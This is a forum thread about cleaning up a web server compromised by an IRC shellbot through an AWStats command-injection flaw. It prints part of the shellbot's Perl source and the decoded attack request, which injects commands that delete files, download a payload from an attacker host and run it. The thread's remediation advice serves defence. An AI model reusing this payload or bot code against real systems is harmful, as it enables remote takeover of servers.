Forums

Skip to content

Advanced search
  • Quick links
    • Unanswered topics
    • Active topics
    • Search
  • FAQ
  • Login
  • Register
  • Board index Assistance Networking & Security
  • Search

hacked by shellbot [via awstats 6.3-r2][solved]

Having problems getting connected to the internet or running a server? Wondering about securing your box? Ask here.
Post Reply
Advanced search
37 posts
  • 1
  • 2
  • Next
Author
Message
newtonian
Guru
Guru
User avatar
Posts: 465
Joined: Wed Jan 19, 2005 4:11 pm
Location: Hokkaido Japan

hacked by shellbot [via awstats 6.3-r2][solved]

  • Quote

Post by newtonian » Thu Mar 31, 2005 7:50 pm

Hi-

One of my machines was compromised by the shellbot worm. I don't have phpbb installed but I do have php running with apache2. I saw that a perl script running spanned by apache was eating up all of my CPU. I tried killing the process, it had been running for 13 hours. I wasn't able to kill it, so I thought something was strange. I grepped for "apache" in the temp directory and found this file sess_3539283e27d73cae29fe2b80f9293f60. I vimmed the file and found the text shellbot in it. I googled shellbot and found that it goes after php and phpbb vulnerabilities. Since I don't have phpbb, I reasoned that php was the problem.

I thought about what I could have done to compromise security. 20 hours ago I changed a setting in /etc/apache2/conf/php.ini. I changed allow_url_fopen = Off to on

Code: Select all

Whether to allow the treatment of URLs (like http:// or ftp://) as files.
; allow_url_fopen = On
; Closed for security - <robbat2@gentoo.org>
#allow_url_fopen = Off
allow_url_fopen = Off
7 hours later the worm got in. : (

I commented out the worm code and changed the allow_url_fopen to off and rebooted the machine. Everything seems to be running fine but I know I have to reformat the hard disk and start over again. I've got a lot of web sites and mail accounts on this machine so it's going to be a major pain in the butt. But that's the way it goes. Live and learn. : (

Below is a snippet of the worm.






Code: Select all

#hellBOT - FBI TEAM Corporation
##
##  ShellBOT - FBI TEAM Corporation
##
##   0ldW0lf - effbeeye81@aol.com
##           - www.security.cnc.net
##
##
##
################# CONFIGURACAO #################################################################
#my $processo = '/usr/local/apache/bin/httpd -DSSL';                   # Nome do processo que vai aparece no ps     #
##----------------------------------------------################################################
#my $linas_max='8';                             # Evita o flood :) depois de X linhas         #
##----------------------------------------------################################################
#my $sleep='4';                                 # ele dorme X segundos                         #
###################### IRC #####################################################################
#my @adms=("zamel00","buju");                          # Nick do administrador
##
##----------------------------------------------################################################
#my @canais=("#vvvvv 214112");                         # Caso haja senha ("#canal :senha")            #
##----------------------------------------------################################################
#my $nick='fbigov';                            # Nick do bot. Caso esteja em uso vai aparecer #
#                                               # aparecer com numero radonamico no final      #
##----------------------------------------------################################################
#my $ircname = 'fbigov';                     # User ID
##
##----------------------------------------------################################################
#chop (my $realname = `uname -a`);              # Full Name                                    #
##----------------------------------------------################################################
#$servidor='61.77.30.70' unless $servidor;  # Servidor de irc que vai ser usado            #
#                                               # caso não seja especificado no argumento      #
##----------------------------------------------################################################
#my $porta='6667';                             # Porta do servidor de irc                     #
################# ACESSO A SHELL ###############################################################
#my $secv = 1;                                 # 1/0 pra habilita/desabilita acesso a shell   #
################################################################################################
#
#my $VERSAO = '0.2';
#
#$SIG{'INT'} = 'IGNORE';
#$SIG{'HUP'} = 'IGNORE';
#$SIG{'TERM'} = 'IGNORE';
#$SIG{'CHLD'} = 'IGNORE';
#$SIG{'PS'} = 'IGNORE';
#
#use IO::Socket;
#use Socket;
#use IO::Select;
#chdir("/");
#$servidor="$ARGV[0]" if $ARGV[0];
#$0="$processo"."\0"x16;;
#my $pid=fork;
#exit if $pid;
#die "Problema com o fork: $!" unless defined($pid);
#
#
#
#my $dcc_sel = new IO::Select->new();
#
##############################
##  B0tchZ na veia ehehe :P  #
##############################
#
#$sel_cliente = IO::Select->new();
#sub sendraw {
#  if ($#_ == '1') {
#    my $socket = $_[0];
#    print $socket "$_[1]\n";
#  } else {
#      print $IRC_cur_socket "$_[0]\n";
#  }
#}
#
#
#sub conectar {
#   my $meunick = $_[0];
#   my $servidor_con = $_[1];
#   my $porta_con = $_[2];
#
#   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
#   if (defined($IRC_socket)) {
#     $IRC_cur_socket = $IRC_socket;
#
#     $IRC_socket->autoflush(1);
#     $sel_cliente->add($IRC_socket);
#
#     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
#     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
#     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
#     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
#     nick("$meunick");
#     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
#     sleep 1;
#   }
#
#}
#my $line_temp;
#while( 1 ) {
#   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
#   delete($irc_servers{''}) if (defined($irc_servers{''}));
#   &DCC::connections;
#   my @ready = $sel_cliente->can_read(0);
#   next unless(@ready);
#   foreach $fh (@ready) {
#     $IRC_cur_socket = $fh;
#     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
#     $nread = sysread($fh, $msg, 4096);
#     if ($nread == 0) {
#        $sel_cliente->remove($fh);

snipped the remaining 90%....


If anybody knows exactly what allowed this worm to get through please let me know, so I can guard against it in the future. I'm guessing that the file write setting I discussed above was the problem but I'm not sure.


Cheers,
Last edited by newtonian on Sun May 25, 2008 4:53 am, edited 3 times in total.
Top
yaneurabeya
Veteran
Veteran
User avatar
Posts: 1754
Joined: Thu May 13, 2004 10:47 pm
Location: Seattle

  • Quote

Post by yaneurabeya » Fri Apr 01, 2005 4:25 am

Hmmm... what version of php are you using?
Top
MrUlterior
Guru
Guru
Posts: 511
Joined: Tue Mar 22, 2005 4:25 pm
Location: Switzerland
Contact:
Contact MrUlterior
Website

  • Quote

Post by MrUlterior » Fri Apr 01, 2005 7:23 am

There is likely another rootkit somewhere on your system, run chkrootkit and/or use portage to check what files have changed.

The shellbot looks like an irc bot, would you be willing to post a url to the full script or email it to me? I'd be interested in having a look at it.

Misanthropy 2.0 - enough hate to go around
Top
yaneurabeya
Veteran
Veteran
User avatar
Posts: 1754
Joined: Thu May 13, 2004 10:47 pm
Location: Seattle

  • Quote

Post by yaneurabeya » Fri Apr 01, 2005 7:32 am

It is an IRC bot (at least from what's shown). Do you have an IRC server or use IRC?
Top
Prompty
Apprentice
Apprentice
User avatar
Posts: 292
Joined: Sun Feb 08, 2004 8:26 pm

  • Quote

Post by Prompty » Fri Apr 01, 2005 10:24 am

who writes a bot in perl ?

this script looks pretty non-blackhat

this looks like something copied from the web. (what language is that portugese ?)

I'd like a copy too if you don't mind . and the version of software you're (were) running .
<input stupid message here>
Top
newtonian
Guru
Guru
User avatar
Posts: 465
Joined: Wed Jan 19, 2005 4:11 pm
Location: Hokkaido Japan

what version of php are you using

  • Quote

Post by newtonian » Fri Apr 01, 2005 12:01 pm

yaneurabeya wrote:Hmmm... what version of php are you using?
Here are the apache related programs I have installed and there versions before I got hit:
emerge search php

* dev-php/php
Latest version available: 4.3.10
Latest version installed: 4.3.10

hawk tmp # emerge search awstats
Searching...
[ Results for search key : awstats ]
[ Applications found : 1 ]

* net-www/awstats
Latest version available: 6.3-r2
Latest version installed: 6.3-r2


* net-www/apache
Latest version available: 2.0.52-r1
Latest version installed: 2.0.52-r1
Size of downloaded files: 6,779 kB
Homepage: http://www.apache.org/
Description: Apache Web Server, Version 2.0.x
License: Apache-2.0

hawk tmp # emerge search phpmyadmin
Searching...
[ Results for search key : phpmyadmin ]
[ Applications found : 1 ]

* dev-db/phpmyadmin
Latest version available: 2.6.1_p2-r1
Latest version installed: 2.6.1_rc1
I only have ports 25(smtp), 993(pop3ssl) 995(imapSSL) 443(SSL web) and 80(web) exposed to the internet.
Top
newtonian
Guru
Guru
User avatar
Posts: 465
Joined: Wed Jan 19, 2005 4:11 pm
Location: Hokkaido Japan

using portage to check for changed files

  • Quote

Post by newtonian » Fri Apr 01, 2005 12:23 pm

MrUlterior wrote:There is likely another rootkit somewhere on your system, run chkrootkit and/or use portage to check what files have changed.

check rootkit seems to have come up ok. Here's the output:
hawk tmp # chkrootkit
ROOTDIR is `/'
Checking `amd'... not found
Checking `basename'... not infected
Checking `biff'... not found
Checking `chfn'... not infected
Checking `chsh'... not infected
Checking `cron'... not infected
Checking `date'... not infected
Checking `du'... not infected
Checking `dirname'... not infected
Checking `echo'... not infected
Checking `egrep'... not infected
Checking `env'... not infected
Checking `find'... not infected
Checking `fingerd'... not found
Checking `gpm'... not infected
Checking `grep'... not infected
Checking `hdparm'... not infected
Checking `su'... not infected
Checking `ifconfig'... not infected
Checking `inetd'... not tested
Checking `inetdconf'... not found
Checking `identd'... not found
Checking `init'... not infected
Checking `killall'... not infected
Checking `ldsopreload'... not infected
Checking `login'... not infected
Checking `ls'... not infected
Checking `lsof'... not found
Checking `mail'... not found
Checking `mingetty'... not found
Checking `netstat'... not infected
Checking `named'... not found
Checking `passwd'... not infected
Checking `pidof'... not infected
Checking `pop2'... not found
Checking `pop3'... not found
Checking `ps'... not infected
Checking `pstree'... not infected
Checking `rpcinfo'... not infected
Checking `rlogind'... not found
Checking `rshd'... not found
Checking `slogin'... not infected
Checking `sendmail'... not infected
Checking `sshd'... not infected
Checking `syslogd'... not tested
Checking `tar'... not infected
Checking `tcpd'... not infected
Checking `tcpdump'... not infected
Checking `top'... not infected
Checking `telnetd'... not infected
Checking `timed'... not found
Checking `traceroute'... not infected
Checking `vdir'... not infected
Checking `w'... not infected
Checking `write'... not infected
Checking `aliens'... no suspect files
Searching for sniffer's logs, it may take a while... nothing found
Searching for HiDrootkit's default dir... nothing found
Searching for t0rn's default files and dirs... nothing found
Searching for t0rn's v8 defaults... nothing found
Searching for Lion Worm default files and dirs... nothing found
Searching for RSHA's default files and dir... nothing found
Searching for RH-Sharpe's default files... nothing found
Searching for Ambient's rootkit (ark) default files and dirs... nothing found
Searching for suspicious files and dirs, it may take a while...
Searching for suspicious files and dirs, it may take a while...
/usr/lib/.keep /usr/lib/locale/ru_RU/LC_MESSAGES/.keep /usr/lib/perl5/5.8.5/i686-linux/auto/DB_File/.packlist /usr/lib/perl5/5.8.5/i686-linux/.packlist /usr/lib/perl5/vendor_perl/5.8.5/i686-linux/auto/XML/Parser/.packlist /usr/lib/perl5/vendor_perl/5.8.5/i686-linux/auto/Pod/Parser/.packlist /usr/lib/perl5/vendor_perl/5.8.5/i686-linux/auto/Digest/.packlist /usr/lib/perl5/vendor_perl/5.8.5/i686-linux/auto/Digest/MD5/.packlist /usr/lib/perl5/vendor_perl/5.8.5/i686-linux/auto/Digest/SHA1/.packlist /usr/lib/perl5/vendor_perl/5.8.5/i686-linux/auto/Digest/HMAC/.packlist /usr/lib/perl5/vendor_perl/5.8.5/i686-linux/auto/MIME/Base64/.packlist /usr/lib/perl5/vendor_perl/5.8.5/i686-linux/auto/Net/DNS/.packlist /usr/lib/perl5/vendor_perl/5.8.5/i686-linux/auto/Net/SSLeay/.packlist /usr/lib/perl5/vendor_perl/5.8.5/i686-linux/auto/Net/Daemon/.packlist /usr/lib/perl5/vendor_perl/5.8.5/i686-linux/auto/IO/Socket/SSL/.packlist /usr/lib/perl5/vendor_perl/5.8.5/i686-linux/auto/HTML/Tagset/.packlist /usr/lib/perl5/vendor_perl/5.8.5/i686-linux/auto/HTML/Parser/.packlist /usr/lib/perl5/vendor_perl/5.8.5/i686-linux/auto/Mail/SpamAssassin/.packlist /usr/lib/perl5/vendor_perl/5.8.5/i686-linux/auto/Storable/.packlist /usr/lib/perl5/vendor_perl/5.8.5/i686-linux/auto/RPC/PlServer/.packlist /usr/lib/perl5/vendor_perl/5.8.5/i686-linux/auto/DBI/.packlist /usr/lib/perl5/vendor_perl/5.8.5/i686-linux/auto/DBD/mysql/.packlist /usr/lib/perl5/vendor_perl/5.8.5/i686-linux/auto/Foomatic/.packlist /usr/lib/perl5/vendor_perl/5.8.5/i686-linux/auto/Time/HiRes/.packlist /usr/lib/perl5/vendor_perl/5.8.5/i686-linux/auto/Time/Local/.packlist /usr/lib/perl5/vendor_perl/5.8.5/i686-linux/auto/SVN/_Core/.packlist /usr/lib/distcc/bin/.keep /usr/lib/mozilla/include/enigmime/.headerlist /usr/lib/mozilla/include/ipc/.headerlist /usr/lib/nsbrowser/plugins/.keep /usr/lib/php/.registry /usr/lib/php/.lock /usr/lib/php/.filemap /usr/lib/eclipse-3/plugins/org.eclipse.osgi_3.0.1/.options /usr/lib/eclipse-3/plugins/org.eclipse.debug.ui_3.0.1/.options /usr/lib/eclipse-3/plugins/org.eclipse.core.runtime_3.0.1/.options /usr/lib/eclipse-3/plugins/org.eclipse.ui.intro_3.0.1/.options /usr/lib/eclipse-3/plugins/org.eclipse.jdt.debug.ui_3.0.1/.options /usr/lib/eclipse-3/plugins/org.eclipse.help.base_3.0.1/.options /usr/lib/eclipse-3/plugins/org.eclipse.jdt.ui_3.0.1/.options /usr/lib/eclipse-3/plugins/org.eclipse.ant.core_3.0.0/.options /usr/lib/eclipse-3/plugins/org.eclipse.core.expressions_3.0.0/.options /usr/lib/eclipse-3/plugins/org.eclipse.jdt.debug_3.0.1/.options /usr/lib/eclipse-3/plugins/org.eclipse.ui.externaltools_3.0.1/.options /usr/lib/eclipse-3/plugins/org.eclipse.jdt.core_3.0.1/.options /usr/lib/eclipse-3/plugins/org.eclipse.ant.ui_3.0.1/.options /usr/lib/eclipse-3/plugins/org.eclipse.team.cvs.ssh_3.0.0/.options /usr/lib/eclipse-3/plugins/org.eclipse.help_3.0.0/.options /usr/lib/eclipse-3/plugins/org.eclipse.jface.text_3.0.1/.options /usr/lib/eclipse-3/plugins/org.eclipse.platform.source_3.0.1/src/org.eclipse.ui.intro_3.0.1/.options /usr/lib/eclipse-3/plugins/org.eclipse.debug.core_3.0.1/.options /usr/lib/eclipse-3/plugins/org.eclipse.core.resources_3.0.1/.options /usr/lib/eclipse-3/plugins/org.eclipse.help.webapp_3.0.1/.options /usr/lib/eclipse-3/plugins/org.eclipse.help.ui_3.0.0/.options /usr/lib/eclipse-3/plugins/org.eclipse.core.variables_3.0.0/.options /usr/lib/eclipse-3/plugins/org.eclipse.ui.console_3.0.0/.options /usr/lib/eclipse-3/plugins/org.eclipse.pde.build_3.0.1/feature/rootfiles/.eclipseproduct /usr/lib/eclipse-3/plugins/org.eclipse.pde.build_3.0.1/feature/.project /usr/lib/eclipse-3/plugins/org.eclipse.pde.build_3.0.1/.options /usr/lib/eclipse-3/plugins/org.eclipse.ui_3.0.1/.options /usr/lib/eclipse-3/plugins/org.eclipse.update.core_3.0.1/.options /usr/lib/eclipse-3/plugins/org.eclipse.team.cvs.core_3.0.1/.options /usr/lib/eclipse-3/plugins/org.eclipse.team.core_3.0.0/.options /usr/lib/eclipse-3/plugins/org.eclipse.update.configurator_3.0.0/.options /usr/lib/eclipse-3/.eclipseproduct /usr/lib/apache-extramodules/.keep /lib/udev-state/.keep /lib/.keep /lib/dev-state/.keep
/usr/lib/php/.registry

Searching for LPD Worm files and dirs... nothing found
Searching for Ramen Worm files and dirs... nothing found
Searching for Maniac files and dirs... nothing found
Searching for RK17 files and dirs... nothing found
Searching for Ducoci rootkit... nothing found
Searching for Adore Worm... nothing found
Searching for ShitC Worm... nothing found
Searching for Omega Worm... nothing found
Searching for Sadmind/IIS Worm... nothing found
Searching for MonKit... nothing found
Searching for Showtee... nothing found
Searching for OpticKit... nothing found
Searching for T.R.K... nothing found
Searching for Mithra... nothing found
Searching for OBSD rk v1... nothing found
Searching for LOC rootkit... nothing found
Searching for Romanian rootkit... nothing found
Searching for Suckit rootkit... nothing found
Searching for Volc rootkit... nothing found
Searching for Gold2 rootkit... nothing found
Searching for TC2 Worm default files and dirs... nothing found
Searching for Anonoying rootkit default files and dirs... nothing found
Searching for ZK rootkit default files and dirs... nothing found
Searching for ShKit rootkit default files and dirs... nothing found
Searching for AjaKit rootkit default files and dirs... nothing found
Searching for zaRwT rootkit default files and dirs... nothing found
Searching for Madalin rootkit default files... nothing found
Searching for anomalies in shell history files... nothing found
Checking `asp'... not infected
Checking `bindshell'... not infected
Checking `lkm'... nothing detected
Checking `rexedcs'... not found
Checking `sniffer'... eth0: not promisc and no PF_PACKET sockets
Checking `w55808'... not infected
Checking `wted'... nothing deleted
Checking `scalper'... not infected
Checking `slapper'... not infected
Checking `z2'... nothing deleted
Top
newtonian
Guru
Guru
User avatar
Posts: 465
Joined: Wed Jan 19, 2005 4:11 pm
Location: Hokkaido Japan

portage to check changed files

  • Quote

Post by newtonian » Fri Apr 01, 2005 12:29 pm

MrUlterior wrote: use portage to check what files have changed.
I'd like to. I searched the forum, man and google for "portage change file hack"
but can't figure out how to do it properly. Could you point me to some
documentation or give me a pointer on how to use portage to check files?
Top
newtonian
Guru
Guru
User avatar
Posts: 465
Joined: Wed Jan 19, 2005 4:11 pm
Location: Hokkaido Japan

Do you have an IRC server or use IRC

  • Quote

Post by newtonian » Fri Apr 01, 2005 12:43 pm

yaneurabeya wrote:It is an IRC bot (at least from what's shown). Do you have an IRC server or use IRC?
No, I don't have an IRC server or even use IRC clients.

I'm guessing that it was one of the following because I don't expose anything else(other than mail) to the internet:

vpopmail admin
phpmyadmin
awstats
php
Tomcat

I did an emerge world last month and my settings are pretty much out of the box for all of my installs.
But I still don't know what the cause is. Spooky. :(
Top
newtonian
Guru
Guru
User avatar
Posts: 465
Joined: Wed Jan 19, 2005 4:11 pm
Location: Hokkaido Japan

I'd like a copy too if you don't mind

  • Quote

Post by newtonian » Fri Apr 01, 2005 1:36 pm

Prompty wrote:who writes a bot in perl ?

this script looks pretty non-blackhat

this looks like something copied from the web. (what language is that portugese ?)

I'd like a copy too if you don't mind . and the version of software you're (were) running .
You can get a copy here:

Code: Select all

www.vpasp.go.ro/sess_3539283e27d73cae29fe2b80f9293f60
and the php version I was/am running:

Code: Select all

emerge search php

* dev-php/php
Latest version available: 4.3.10
Latest version installed: 4.3.10
Last edited by newtonian on Fri Apr 01, 2005 5:11 pm, edited 1 time in total.
Top
rex123
Apprentice
Apprentice
Posts: 272
Joined: Wed Apr 21, 2004 1:08 pm

  • Quote

Post by rex123 » Fri Apr 01, 2005 2:00 pm

Awstats is almost certainly the problem. See http://www.idefense.com/application/poi ... atus=false

Don't reinstall the world (unless you really want to). Just secure php, and upgrade (or uninstall) awstats.
Top
MrUlterior
Guru
Guru
Posts: 511
Joined: Tue Mar 22, 2005 4:25 pm
Location: Switzerland
Contact:
Contact MrUlterior
Website

  • Quote

Post by MrUlterior » Fri Apr 01, 2005 2:18 pm

rex123 wrote:Awstats is almost certainly the problem. See http://www.idefense.com/application/poi ... atus=false

Don't reinstall the world (unless you really want to). Just secure php, and upgrade (or uninstall) awstats.
His version of aawstats is 6.3-r2, according to your URL the problem was corrected in 6.3 - so I would assume that is not the vulnerability unless you know otherwise ...

I'd still like to see a copy of any shellcode used to propagate the shellbot into the session file

EDIT:

Ah, from http://awstats.sourceforge.net/
[/list]
Warning, a security hole was recently found in old AWStats versions (from 5.0 to 6.3) when AWStats is used as a CGI: A remote user can execute arbitrary commands on your server using permissions of your web server user (in most cases user "nobody").
If you use AWStats with a recent version or if AWStats is not available as a CGI, you are safe. If not, it is highly recommanded to upgrade to 6.4 version that fix all known security holes.
So that was probably it then.
Last edited by MrUlterior on Fri Apr 01, 2005 2:33 pm, edited 1 time in total.

Misanthropy 2.0 - enough hate to go around
Top
MrUlterior
Guru
Guru
Posts: 511
Joined: Tue Mar 22, 2005 4:25 pm
Location: Switzerland
Contact:
Contact MrUlterior
Website

Re: portage to check changed files

  • Quote

Post by MrUlterior » Fri Apr 01, 2005 2:24 pm

newtonian wrote:
MrUlterior wrote: use portage to check what files have changed.
I'd like to. I searched the forum, man and google for "portage change file hack"
but can't figure out how to do it properly. Could you point me to some
documentation or give me a pointer on how to use portage to check files?
Hmmm, I was certain portage did this -- I personally use tripwire. However it seems
that qpkg might to this for you with either of the following options:

Code: Select all

-cm, --check-md5
-mc, --md5-check - Verify package files md5 
Check the man page @ http://gentoo-wiki.com/MAN_qpkg
emerge qpkg
or
emerge gentoolkit
(don't remember which it is)
to install.

Misanthropy 2.0 - enough hate to go around
Top
rex123
Apprentice
Apprentice
Posts: 272
Joined: Wed Apr 21, 2004 1:08 pm

  • Quote

Post by rex123 » Fri Apr 01, 2005 2:46 pm

Apologies for an old link. I've seen awstats advisories in the past month on bugtraq, and I googled for what looked like a good description of the problem. Thanks for finding the more up to date info.
Top
newtonian
Guru
Guru
User avatar
Posts: 465
Joined: Wed Jan 19, 2005 4:11 pm
Location: Hokkaido Japan

the apache2 access_log

  • Quote

Post by newtonian » Fri Apr 01, 2005 4:43 pm

Warning, a security hole was recently found in old AWStats versions (from 5.0 to 6.3) when AWStats is used as a CGI: A remote user can execute arbitrary commands on your server using permissions of your web server user (in most cases user "nobody").
If you use AWStats with a recent version or if AWStats is not available as a CGI, you are safe. If not, it is highly recommanded to upgrade to 6.4 version that fix all known security holes.
So that was probably it then.
I estimated that I got hit at about noon on Mar 31st so I vimmed the apache2 access_log and did a search for perl.
Here's what I found about an hour before noon.
192.168.1.10 - - [31/Mar/2005:10:38:38 +0900] "GET /config/default.css HTTP/1.1" 404 363 "http://hakodatecgi.com/calendar/getMyCa ... entMonth=2" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20050221 Firefox/1.0"
211.105.221.84 - - [31/Mar/2005:10:40:21 +0900] "GET /cgi-bin/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;killall%20-9%20perl;wget%20www.vpasp.go.ro/sess_3539283e27d73cae29fe2b80f9293f60;perl%20sess_3539283e27d73cae29fe2b80f9293f60;echo%20;echo| HTTP/1.1" 404 357 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98 )"
192.168.1.10 - - [31/Mar/2005:10:42:46 +0900] "GET /calendar/getMyCalendar.do?id=4&increment=1&currentMonth=1 HTTP/1.1" 200 3476 "http://hakodatecgi.com/calendar/getMyCa ... entMonth=2" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20050221 Firefox/1.0"
192.168.1.10 - - [31/Mar/2005:10:42:47 +0900] "GET /config/default.css HTTP/1.1" 404 363 "http://hakodatecgi.com/calendar/getMyCa ... entMonth=1" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20050221 Firefox/1.0"
192.168.1.10 - - [31/Mar/2005:10:44:21 +0900] "GET /config/default.css HTTP/1.1" 404 363 "http://hakodatecgi.com/calendar/getMyCa ... entMonth=1" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20050221 Firefox/1.0"
192.168.1.10 - - [31/Mar/2005:10:44:21 +0900] "GET /calendar/getMyCalendar.do?id=4&increment=1&currentMonth=1 HTTP/1.1" 200 3481 "http://hakodatecgi.com/calendar/getMyCa ... entMonth=2" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20050221 Firefox/1.0"
192.168.1.10 - - [31/Mar/2005:10:44:36 +0900] "GET /calendar/getMyCalendar.do?id=4&increment=-1&currentMonth=2 HTTP/1.1" 200 3687 "http://hakodatecgi.com/calendar/getMyCa ... entMonth=1" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20050221 Firefox/1.0"
192.168.1.10 - - [31/Mar/2005:10:44:37 +0900] "GET /config/default.css HTTP/1.1" 404 363 "http://hakodatecgi.com/calendar/getMyCa ... entMonth=2" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20050221 Firefox/1.0"
211.105.221.84 - - [31/Mar/2005:10:40:21 +0900] "GET /awstats/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;killall%20-9%20perl;wget%20www.vpasp.go.ro/sess_3539283e27d73cae29fe2b80f9293f60;perl%20sess_3539283e27d73cae29fe2b80f9293f60;echo%20;echo| HTTP/1.1" 200 604 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98 )"
The calendar stuff was me debugging a web app for a customer.
Top
newtonian
Guru
Guru
User avatar
Posts: 465
Joined: Wed Jan 19, 2005 4:11 pm
Location: Hokkaido Japan

shellcode used to propagate the shellbot

  • Quote

Post by newtonian » Fri Apr 01, 2005 5:06 pm

MrUlterior wrote: I'd still like to see a copy of any shellcode used to propagate the shellbot into the session file

Code: Select all

211.105.221.84 - - [31/Mar/2005:10:40:21 +0900] "GET /cgi-bin/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;killall%20-9%20perl;wget%20www.vpasp.go.ro/sess_3539283e27d73cae29fe2b80f9293f60;perl%20sess_3539283e27d73cae29fe2b80f9293f60;echo%20;echo| HTTP/1.1" 404 357 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98 )"
putting the above request into a url decoder gave me:

Code: Select all

Decoded Results: 211.105.221.84 - - [31/Mar/2005:10:40:21 0900] "GET 
/awstats/awstats.pl?configdir=|echo ;
cd /tmp;
rm -rf *;
killall -9 perl;
wget www.vpasp.go.ro/sess_3539283e27d73cae29fe2b80f9293f60;
perl sess_3539283e27d73cae29fe2b80f9293f60;echo ;
echo| HTTP/1.1" 200 604 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
Top
newtonian
Guru
Guru
User avatar
Posts: 465
Joined: Wed Jan 19, 2005 4:11 pm
Location: Hokkaido Japan

Cleaning Up

  • Quote

Post by newtonian » Fri Apr 01, 2005 5:34 pm

rex123 wrote:Awstats is almost certainly the problem. See http://www.idefense.com/application/poi ... atus=false

Don't reinstall the world (unless you really want to). Just secure php, and upgrade (or uninstall) awstats.
Ok, here's what I've done so far:

Code: Select all

emerge unmerge awstats

chkrootkit

mv /tmp/sess_3539283e27d73cae29fe2b80f9293f60 ./
chmod 400 sess_3539283e27d73cae29fe2b80f9293f60

vim /etc/apache2/conf/php.ini. allow_url_fopen = on --> Off 
What else do you recommend I do to secure php?


Cheers,
Top
yaneurabeya
Veteran
Veteran
User avatar
Posts: 1754
Joined: Thu May 13, 2004 10:47 pm
Location: Seattle

  • Quote

Post by yaneurabeya » Fri Apr 01, 2005 6:56 pm

It sounds like the issue wasn't just securing php, but updating your programs. Add a glsa-check cronjob to your root crontab to make sure that this junk doesn't happen to you anymore (or at least very VERY rarely). I think I remember something in glsa-security about awstats as well as something on Google about it too a couple of weeks ago.
Top
newtonian
Guru
Guru
User avatar
Posts: 465
Joined: Wed Jan 19, 2005 4:11 pm
Location: Hokkaido Japan

glsa-check --list

  • Quote

Post by newtonian » Sat Apr 02, 2005 12:44 pm

yaneurabeya wrote:It sounds like the issue wasn't just securing php, but updating your programs. Add a glsa-check cronjob to your root crontab to make sure that this junk doesn't happen to you anymore (or at least very VERY rarely). I think I remember something in glsa-security about awstats as well as something on Google about it too a couple of weeks ago.
Thanks for the tip. I didn't know about glsa-check so I googled for it.

http://www.gentoo.org/doc/en/gentoo-security.xml

devotes a couple lines about glsa at the bottom of the page.

I did:

Code: Select all

glsa-check --list
and updated all of the risks on my system. glsa-check is great.

It's too bad that it doesn't work correctly with the current version of awstats:
glsa-check --list | grep awstats
200501-36 AWStats: Remote code execution ( net-www/awstats )


glsa-check says that my system is unaffected by the remote code execution hack.
But if that were true I wouldn't have had somebody's shellbot eating up 98% of my CPU.

I think anybody running(as CGI) the latest version of awstats
in portage(awstats 6.3-r2) is vulnerable. : (
Top
newtonian
Guru
Guru
User avatar
Posts: 465
Joined: Wed Jan 19, 2005 4:11 pm
Location: Hokkaido Japan

crontab

  • Quote

Post by newtonian » Sat Apr 02, 2005 3:36 pm

yaneurabeya wrote:Add a glsa-check cronjob to your root crontab to make sure that this junk doesn't happen to you anymore (or at least very VERY rarely).
Thanks again for the advice.

I use vixie cron so I typed crontab -e and added the following lines.

Code: Select all

15    5      *      *       *              /usr/bin/emerge --sync
55    5      *      *       *              /usr/bin/glsa-check -l | grep -e '\[N\]'
With this cron sends me a daily list of all the files that need updating.
Top
newtonian
Guru
Guru
User avatar
Posts: 465
Joined: Wed Jan 19, 2005 4:11 pm
Location: Hokkaido Japan

yet another awstats hit

  • Quote

Post by newtonian » Sat Apr 02, 2005 5:39 pm

Here's somebody else who got hit with the same thing at about the same time.

http://forums.gentoo.org/viewtopic-t-31 ... pache.html

It's got some good advice listed on what do to secure your system as well.


Cheers,
Top
revertex
l33t
l33t
User avatar
Posts: 806
Joined: Wed Apr 23, 2003 9:21 am

  • Quote

Post by revertex » Sat Apr 02, 2005 11:49 pm

Prompty wrote:who writes a bot in perl ?

this script looks pretty non-blackhat

this looks like something copied from the web. (what language is that portugese ?)

I'd like a copy too if you don't mind . and the version of software you're (were) running .
yes the comments are in portuguese, look's like brazilian portuguese.
if someone is interest i can translate the comments.
Top
rex123
Apprentice
Apprentice
Posts: 272
Joined: Wed Apr 21, 2004 1:08 pm

Re: Cleaning Up

  • Quote

Post by rex123 » Mon Apr 04, 2005 8:54 am

newtonian wrote: What else do you recommend I do to secure php?
This has been said before on other threads, but here's a summary:

Make sure that a php script - any php script - can't execute anything that you don't mean it to. Mostly this means not allowing php to execute anything in a world-writable directory, eg /tmp or /var/tmp.
There is a lot of information on this on the web, so have a look. Start here: http://www.php.net/manual/en/security.php
Top
newtonian
Guru
Guru
User avatar
Posts: 465
Joined: Wed Jan 19, 2005 4:11 pm
Location: Hokkaido Japan

Thanks for all the help

  • Quote

Post by newtonian » Mon Apr 04, 2005 4:52 pm

Thanks for all the help.

I checked out php site you refered to and it had a lot of good tips.

I think the reason they got into my system was because I was running a vulnerble version of awstats (6.3-r2 )
AND one of my vhosts did not have stats authentication running.

I tried hacking myself with the code below and I get the login dialog. So I think
this will stop me from being hacked the same way as before.

Will adding authentication stop this kind of attack and make awstats safe to use again?

Code: Select all

